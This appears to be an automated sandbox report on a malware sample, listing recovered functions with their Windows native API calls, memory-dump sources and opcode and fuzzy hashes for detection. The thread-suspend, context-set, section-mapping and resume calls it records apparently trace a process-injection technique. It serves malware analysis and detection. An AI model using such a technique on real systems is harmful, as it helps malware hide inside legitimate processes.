Not Executed

APIs

NtMapViewOfSection.NTDLL(?,00000000,00000000,00000000,?,?,00000000,?,4q@,?,?,?,00000000), ref: 0040B44D

Strings

4q@, xrefs: 0040B4FC
4q@, xrefs: 0040B429, 0040B42C

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: SectionView
String ID: 4q@$4q@
API String ID: 1323581903-352822288
Opcode ID: c8cf07480daa701a2a6a95d8220c56878a179f3d73bf5b45c1068934c0e84736
Instruction ID: 4f0a1b00017ecff07558768542bc8224e4be8ae8b3833d489124d6a477246c7f
Opcode Fuzzy Hash: c8cf07480daa701a2a6a95d8220c56878a179f3d73bf5b45c1068934c0e84736
Instruction Fuzzy Hash: 16711C71E04158DFCB04CFA9C990AEDBBF5AF49304F18816AE859B7341D738AA45CF98

Function 0040B513 Relevance: 1.7, APIs: 1, Instructions: 188
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(?,?,?,?,?,?,00000000,?,?,?,?), ref: 0040B681

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d675ffe184b4cf3df129620c1f37ed63615b89ad24ad60a713524158cd36fee6
Instruction ID: 33bbf8d930d8e7cfe3f019b155e8ea3f1efd11963211b11a84fa3dbb01a3117a
Opcode Fuzzy Hash: d675ffe184b4cf3df129620c1f37ed63615b89ad24ad60a713524158cd36fee6
Instruction Fuzzy Hash: 1C813D71E041589FCB04CFA9C990AEDBBF5AF49304F18816AE459B7341D738A941CF99

Function 0040B743 Relevance: 1.7, APIs: 1, Instructions: 184
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(?,?,?,?,?,?,00000000,?,?), ref: 0040B8A9

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7406610fe4a71597561f2b8bae0021fa1a59eb1c802fb029ede16d8a052d8adc
Instruction ID: d5ca7a445566d5324237c67d8bda7c3d62ebcdba52f65f536e33ce5b52a41de4
Opcode Fuzzy Hash: 7406610fe4a71597561f2b8bae0021fa1a59eb1c802fb029ede16d8a052d8adc
Instruction Fuzzy Hash: 6B713BB1E14158DBCB04CFA9C890AEDBBF5BF49304F18816AE859B7351D338A945CF98

Function 0040B0C3 Relevance: 1.7, APIs: 1, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,00000000,000F001F,?,?,004070F1,00000000,?,?,08000000), ref: 0040B221

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: CreateSection
String ID:
API String ID: 2449625523-0
Opcode ID: adff89788c227dfb02b330619a6bccec0f9c373fd36e43cb928eaab211708a8b
Instruction ID: 01317c8874684397ccd25c89dd95e7ea8e4a3edbd884f59941ddaf063ff58e3a
Opcode Fuzzy Hash: adff89788c227dfb02b330619a6bccec0f9c373fd36e43cb928eaab211708a8b
Instruction Fuzzy Hash: CD712C71D14158DFCB05CFA9C890AEDBBB1BF49304F1881AAE859B7341D738A946CF98

Function 0040BFD3 Relevance: 1.7, APIs: 1, Instructions: 178
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 0040C12D

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: af22745c9356b21275a4ed7ec95143a4cc00c792e14a36387ff7ba92eb16b96b
Instruction ID: 8143565c1ed0993058e6d586fa4036d4e587653beb669d54d7f95b9336940cd5
Opcode Fuzzy Hash: af22745c9356b21275a4ed7ec95143a4cc00c792e14a36387ff7ba92eb16b96b
Instruction Fuzzy Hash: 62712F71E04158DFCB04CFA9C890AEDBBF1BF49304F18816AE859BB341D638A946CF55

Function 0040AA93 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetContextThread.NTDLL(?,?), ref: 0040ABDD

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 7d3590489634a5643a165557ae1e62707ac94800af8139a2bf38665b0a25d032
Instruction ID: d4e5869915a99125bcdad7944eea00a2bf72dfbca1512e106d76b181c7b9fddb
Opcode Fuzzy Hash: 7d3590489634a5643a165557ae1e62707ac94800af8139a2bf38665b0a25d032
Instruction Fuzzy Hash: DC718F71E04258DFCB04CFA9C490AEDBBF2BF49304F18806AE419BB341D638A956DF55

Function 0040BBB3 Relevance: 1.7, APIs: 1, Instructions: 170
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDelayExecution.NTDLL(0041C291,?,?,?,00000000), ref: 0040BCFE

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: 10f784cb7a7465b49218334df4e70ac1398cacb19b884e6fb5fd4ed04110ac16
Instruction ID: 224df048350992204dea636a9cf2136097186a6e34023e583b2a4fcadb8b91eb
Opcode Fuzzy Hash: 10f784cb7a7465b49218334df4e70ac1398cacb19b884e6fb5fd4ed04110ac16
Instruction Fuzzy Hash: CC712E71E04258DFCB05CFA9C490AEDBBF1AF49304F1880AAE855B7341D738AA45DF99

Function 0040ACA3 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL(004071D5,?,?,?,?), ref: 0040ADED

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e82c6908598d20ec0be45675678c3b10373641ab3eec8e70e69c302ce30f2250
Instruction ID: b6f10511c00207d67f0fbc32bcefce55cc479fdc692c5c7557564370438ddd56
Opcode Fuzzy Hash: e82c6908598d20ec0be45675678c3b10373641ab3eec8e70e69c302ce30f2250
Instruction Fuzzy Hash: D3715F71E04258DFCB04CFA9C890AEDBBF2BF49304F18806AE859B7341D638A955CF95

Function 0040A673 Relevance: 1.7, APIs: 1, Instructions: 170
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSuspendThread.NTDLL(?,?), ref: 0040A7BD

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: df1744cd3ab3c9e63664b9d7c7920faaf1bd56dff2a6f15b324ade073ee0abe8
Instruction ID: e0512f439ae47d9be5cbe886a187579ca4bcb7003b3baa994f3caa2f25e50319
Opcode Fuzzy Hash: df1744cd3ab3c9e63664b9d7c7920faaf1bd56dff2a6f15b324ade073ee0abe8
Instruction Fuzzy Hash: 95714F75E04258DFCB04CFA9C490AEDBBF1BF49304F1880AAE859B7341D638A956CF95

Function 00418BA3 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00418C15

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 1ece3eff7ef69611ee126556be6f4899efe61f532828b703a8cdf4cdaaeb4af3
Instruction ID: 3a7d3c80330e5758b3a9f81f32ca88ff767ca5b188dc6faacfe14b01834f0b54
Opcode Fuzzy Hash: 1ece3eff7ef69611ee126556be6f4899efe61f532828b703a8cdf4cdaaeb4af3
Instruction Fuzzy Hash: 470152B5E0010DB7DB10DAE5DD42FDEB7789B54308F0081AAE90897240F635EB588795

Function 0042BF43 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?), ref: 0042BF73

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 798d9c3876bce148b54ee63ea797cdf3a6eb52ae3eb05a8af88ddaea95a2db47
Instruction ID: d89d2c0c652fac5e8b7a6d34093b53a94ebb12e8b588f04006b5246e933adf9e
Opcode Fuzzy Hash: 798d9c3876bce148b54ee63ea797cdf3a6eb52ae3eb05a8af88ddaea95a2db47
Instruction Fuzzy Hash: DBE08C723402187BC620EA5ADC42F9BB7ADDFC5B14F01405AFA08A7281D6B0B9108BF4

Function 00DA07AC Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DA07B7

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Function 00D9F9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9F9FB

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Function 00D9FAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9FAF3

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Function 00D9FB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9FB73

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Function 00D9FDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9FDCB

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Function 0041538D Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 62
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(13d6pS3,00000111,00000000,00000000), ref: 0041540A

Strings

'oN, xrefs: 0041538D
13d6pS3, xrefs: 00415411, 00415414
13d6pS3, xrefs: 004153FF, 00415409, 0041541A

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 'oN$13d6pS3$13d6pS3
API String ID: 1836367815-4202519509
Opcode ID: abe8662b7715577a4b67e00549239f0ae9c7219e6112b4b4964fce852ca0655b
Instruction ID: fe34e254e3c78a2d2e75bf211c42e0671cebaf8842b7d31fa9d3e155b3f4b5cb
Opcode Fuzzy Hash: abe8662b7715577a4b67e00549239f0ae9c7219e6112b4b4964fce852ca0655b
Instruction Fuzzy Hash: E4012BB1E0011CBADB11BAE19C81DEFBB7CDF81398F408029FA14B7140E6785F058BA1

Function 00415393 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(13d6pS3,00000111,00000000,00000000), ref: 0041540A

Strings

13d6pS3, xrefs: 00415411, 00415414
13d6pS3, xrefs: 004153FF, 00415409, 0041541A

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 13d6pS3$13d6pS3
API String ID: 1836367815-3378015834
Opcode ID: 2a18f07d3b58b25007c1776e027721ed4c3c70ecef04641e0f5be156848a558b
Instruction ID: 3a74e114496ce0711f9fc21398a0d08397c93f4088640f40c2c0ae561a51f52a
Opcode Fuzzy Hash: 2a18f07d3b58b25007c1776e027721ed4c3c70ecef04641e0f5be156848a558b
Instruction Fuzzy Hash: 45012BB1E0011CBADB01BAE19C81DEF7B7CDF81398F408029FA1477140D6785F058BA1

Function 0042C1F3 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,0041F3AB,?,?,00000000,?,0041F3AB,?,?,?), ref: 0042C22E

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1cd7afffb4599489c2e922e741e5df127c6c52b9574b0e89c0ec541112c06f1e
Instruction ID: d3d283629ae7dbb578c3361da26e2255cf3ead57a8e0f8df25f3f891fe741430
Opcode Fuzzy Hash: 1cd7afffb4599489c2e922e741e5df127c6c52b9574b0e89c0ec541112c06f1e
Instruction Fuzzy Hash: 48E09AB1300204BFDA10EE99EC41E9B77ADEFC9710F00001AFD08A7282CA70BD108BB9

Function 0042C243 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,FC5D89F8,00000007,00000000,00000004,00000000,004185EF,000000F0,?,?,?,?,?), ref: 0042C27E

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 84c9b89b4cdf1f602563f4f89da99040e5f52e99967f744197380856f61d1e48
Instruction ID: c9dcfcbd2332931f1569d3fe54102bcbb547f49f7c4da694ae441fffeaf01cfd
Opcode Fuzzy Hash: 84c9b89b4cdf1f602563f4f89da99040e5f52e99967f744197380856f61d1e48
Instruction Fuzzy Hash: 40E092753442047BC610EE5ADC42F9B73ADEFC5710F000419FD08A7241C670B9208BB8

Function 0042C293 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

ExitProcess.KERNELBASE(?,00000000,?,?,39D1C69F,?,?,39D1C69F), ref: 0042C2CA

Memory Dump Source

Source File: 00000006.00000002.407230568.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_loud89334.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 350054d7e724a5522385e81d2f9e3944af108638e355487cb8015eeb31deba3a
Instruction ID: 632e54142e25fb71edcd38b63f987ef404ae7833aca244d52deb45822a5d22ed
Opcode Fuzzy Hash: 350054d7e724a5522385e81d2f9e3944af108638e355487cb8015eeb31deba3a
Instruction Fuzzy Hash: 5CE04F752402147BC520EA5ADC41F9B775DDFC5714F004019FA0867142CAB479158BE5

Non-executed Functions

Function 00D90080 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

[Pj, xrefs: 00D900D5, 00D900C7

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID: [Pj
API String ID: 0-2289356113
Opcode ID: bf41b6a14e5630b60c90782b49b3e97220611635eb64240895134de411e32b89
Instruction ID: 7362ace089282231b81074a8995311db46fade3614d1467dcedad6c96d664c09
Opcode Fuzzy Hash: bf41b6a14e5630b60c90782b49b3e97220611635eb64240895134de411e32b89
Instruction Fuzzy Hash: FDF06231204344AFDB11AB10DC85F2A7BA9EF45754F148458F5896A0D3C762CC21D731

Function 00DB26F8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: befe73b4781d6967e22b7a2d8b560eb031a7a61a4f73831a88057bacb28cb109
Instruction ID: bd5cda3792ade321dd0e13242f40e8069b68c120498a6f8a5e2f3c3eae085365
Opcode Fuzzy Hash: befe73b4781d6967e22b7a2d8b560eb031a7a61a4f73831a88057bacb28cb109
Instruction Fuzzy Hash: C5F0C222324159DBDB49EB189D527BA33D5EB94701F58C439ED8AC7246DA31DD4082B4

Function 00DF0101 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 918068312069b50acfbd4a9a4d65495103bc908bf178a7527bf00e793ba52eab
Instruction ID: 864104efa90a53330dd9441d0cf9b36f2a5490f0c6169fa97da352ce1434c1c5
Opcode Fuzzy Hash: 918068312069b50acfbd4a9a4d65495103bc908bf178a7527bf00e793ba52eab
Instruction Fuzzy Hash: B5F012722403089FCB5CCF08C490BB97BB6AB90719F25C46CEA0BCF692D735D981D665

Function 00D900EA Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 654e02b9c082416375a7e82e894b93ad7b776e7ca4db8a6c10e193599d497c64
Instruction ID: 50396ba2c4b934fc607a320652eed2c067a31519076c5a057a658ab4b5869bec
